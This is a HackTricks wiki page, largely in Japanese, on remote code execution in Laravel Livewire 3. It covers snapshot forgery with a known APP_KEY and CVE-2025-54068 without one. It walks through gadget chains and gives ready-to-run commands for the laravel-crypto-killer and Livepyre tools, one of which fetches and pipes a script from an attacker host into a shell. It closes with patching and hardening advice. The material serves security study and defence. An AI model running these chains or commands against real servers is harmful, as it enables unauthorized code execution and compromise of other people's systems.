Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Livewire ステートマシンの要約
Livewire 3 コンポーネントは、data、memo、およびチェックサムを含む snapshots を介して状態を交換します。/livewire/update への各 POST はサーバー側で JSON snapshot を復元し、キューに入った calls/updates を実行します。
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
APP_KEY($hashKey を導出するのに使われる)を保持している者は、HMAC を再計算することで任意のスナップショットを偽造できる。
複雑なプロパティは、Livewire\Drawer\BaseUtils::isSyntheticTuple() によって検出される synthetic tuples としてエンコードされる;各タプルは [value, {"s":"<key>", ...meta}] である。ハイドレーションのコアは、HandleComponents::$propertySynthesizers で選択された synth に各タプルを単純に委譲し、子要素に対して再帰処理を行う:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
この再帰的な設計により、攻撃者がタプルのメタデータか再帰処理中の任意のネストされたタプルを制御すると、Livewireは汎用のオブジェクト生成エンジンになります。
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | 各子要素を再ハイドレートした後に new $meta['class']($value) を生成します。配列コンストラクタを持つ任意のクラスを生成でき、各アイテム自体が合成タプルであっても構いません。 |
FormObjectSynth (form) | new $meta['class']($component, $path) を呼び出し、続いて攻撃者が制御する子要素から $hydrateChild 経由で全ての public プロパティを代入します。緩く型付けされた2つのパラメータ(またはデフォルト引数)を受け取るコンストラクタがあれば、任意の public プロパティに到達できます。 |
ModelSynth (mdl) | meta に key が存在しない場合、return new $class; を実行し、攻撃者が制御する任意のクラスの引数なしインスタンス化を可能にします。 |
synth はネストされた各要素で $hydrateChild を呼び出すため、タプルを再帰的に積み重ねることで任意のガジェットグラフを構築できます。
Forging snapshots when APP_KEY is known
- 正規の
/livewire/updateリクエストをキャプチャし、components[0].snapshotをデコードします。 - ガジェットクラスを指すネストされたタプルを注入し、
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)を再計算します。 - スナップショットを再エンコードし、
_token/memoはそのままにしてリクエストをリプレイします。
最小限の実行証明は Guzzle の FnStream と Flysystem の ShardedPrefixPublicUrlGenerator を使います。あるタプルがコンストラクタデータ { "__toString": "phpinfo" } で FnStream を生成し、次のタプルが [FnStreamInstance] を $prefixes として ShardedPrefixPublicUrlGenerator を生成します。Flysystem が各 prefix を string にキャストすると、PHP は攻撃者が提供した __toString callable を呼び出し、引数なしで任意の関数を実行します。
From function calls to full RCE
Livewire のインスタンス化プリミティブを活用して、Synacktiv は phpggc の Laravel/RCE4 チェーンを適合させ、ハイドレーションが public な Queueable 状態を持つオブジェクトを起動してデシリアライズをトリガするようにしました:
- Queueable trait –
Illuminate\Bus\Queueableを使用するオブジェクトは public な$chainedを公開し、dispatchNextJobInChain()内でunserialize(array_shift($this->chained))を実行します。 - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) はCollectionSynth/FormObjectSynthを通じてインスタンス化され、public$chainedが埋められます。 - phpggc Laravel/RCE4Adapted –
$chained[0]に格納されたシリアライズ済みバイナリはPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signedを構築します。Signed::__invoke()は最終的にcall_user_func_array($closure, $args)を呼び出し、system($cmd)を可能にします。 - Stealth termination –
[new Laravel\Prompts\Terminal(), 'exit']のような第二のFnStreamcallable を渡すことで、例外を上げずにexit()でリクエストを終了させ、HTTP レスポンスをクリーンに保てます。
Automating snapshot forgery
synacktiv/laravel-crypto-killer は現在、これらを全て繋ぎ合わせる livewire モードを提供しています:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
ツールはキャプチャした snapshot を解析し、gadget tuples を注入し、checksum を再計算し、送信準備が整った /livewire/update ペイロードを出力します。
CVE-2025-54068 – APP_KEY なしでの RCE
ベンダーのアドバイザリによると、本問題は Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) に影響し、v3 固有の問題です。
updates はスナップショットの checksum が検証された 後 にコンポーネント状態にマージされます。スナップショット内のプロパティが(または synthetic tuple になる)場合、Livewire は攻撃者制御の update 値を hydrate する際にその meta を再利用します:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Find a Livewire component with an untyped public property (e.g.,
public $count;). - Send an update that sets that property to
[]. The next snapshot now stores it as[[], {"s": "arr"}].
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Craft another
updatespayload where that property contains a deeply nested array embedding tuples such as[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - During recursion,
hydrate()evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. - Reuse the same
CollectionSynth/FormObjectSynthprimitives to instantiate a Queueable gadget whose$chained[0]contains the phpggc payload. Livewire processes the forged updates, invokesdispatchNextJobInChain(), and reachessystem(<cmd>)without knowingAPP_KEY.
Key reasons this works:
updatesare not covered by the snapshot checksum.getMetaForPath()trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.- Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.
Livepyre – end-to-end exploitation
Livepyre は、APP_KEY 不要の CVE と署名付きスナップショット経路の両方を自動化します:
<script src="/livewire/livewire.js?id=HASH">を解析してデプロイされた Livewire のバージョンをフィンガープリントし、ハッシュを脆弱なリリースにマッピングします。- 無害な操作を再生してベースラインのスナップショットを収集し、
components[].snapshotを抽出します。 updatesのみのペイロード (CVE-2025-54068) または phpggc チェインを埋め込んだ改竄されたスナップショット(既知の APP_KEY)を生成します。- スナップショット内に object 型のパラメータが見つからない場合、Livepyre は強制可能なプロパティに到達するために候補パラメータをブルートフォースするフォールバックを行います。
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check は非破壊的なプローブを実行し、-F はバージョン判定をスキップし、-H と -P はカスタムヘッダやプロキシを追加し、--function/--param は gadget chain で呼び出される php 関数をカスタマイズします。
防御上の考慮事項
- ベンダーの告知によれば修正版 Livewire ビルド (>= 3.6.4) にアップグレードし、CVE-2025-54068 に対するベンダーパッチを適用してください。
- Livewire コンポーネントでは弱い型付けの public プロパティを避けてください。明示的な scalar 型にすることでプロパティ値が arrays/tuples に強制されるのを防げます。
- 必要な synthesizers のみを登録し、ユーザ制御の metadata (
$meta['class']) を信頼しないものとして扱ってください。 - プロパティの JSON 型が変更される更新(例: scalar -> array)は明示的に許可されていない限り拒否し、stale な tuples を再利用するのではなく synth metadata を再導出してください。
- いかにコードベースがパッチ適用されていても、オフラインでの snapshot forging を可能にするため、情報開示後は速やかに
APP_KEYをローテーションしてください。
参考文献
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


